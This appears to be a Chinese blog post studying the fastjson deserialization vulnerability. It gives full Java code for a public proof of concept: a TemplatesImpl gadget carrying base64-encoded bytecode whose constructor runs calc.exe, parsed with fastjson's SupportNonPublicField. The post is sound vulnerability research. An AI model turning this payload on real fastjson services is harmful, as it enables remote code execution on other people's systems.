fastjson反序列化漏洞原理

 
这个漏洞一直只了解个大概,最近有空深入研究一下
JAVA环境
java version "1.8.0_211"
Java(TM) SE Runtime Environment (build 1.8.0_211-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.211-b12, mixed mode)
建立一个USER类
public class User {
    private int age;
    public String username;
    private String secret;

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getSecret() {
        return secret;
    }

    @Override
    public String toString() {
        return this.age + "," + this.username + "," + this.secret;
    }

}


函数


作用
JSON.toJSONString(Object) 将对象序列化成json格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName) 将对象序列化成json格式,并且记录了对象所属的类的信息
JSON.parse(Json) json格式返回为对象(但是反序列化类对象没有@Type时会报错)
JSON.parseObject(Json) 返回对象是com.alibaba.fastjson.JSONObject
JSON.parseObject(Json, Object.class) 返回对象会根据json中的@Type来决定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); 会把Json数据对应的类中的私有成员也给还原

直接用网上的利用POC
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class poc extends AbstractTranslet {

    public poc() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        poc t = new poc();
    }
}

编译这个文件,将其内容进行base64编码,用fastjson把对象还原
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

public class Vultest {


    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }


    public static  void  main(String[] args) throws UnsupportedEncodingException {
        ParserConfig config = new ParserConfig();
        String evilCode = readClass("D://code//fastjsonvul//target//classes//Poc.class");
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String  text1 = "{\"@type\":\"" + NASTY_CLASS +"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);


    }
}  
在excec下断点查看调用



发表评论 / Comment

用心评论~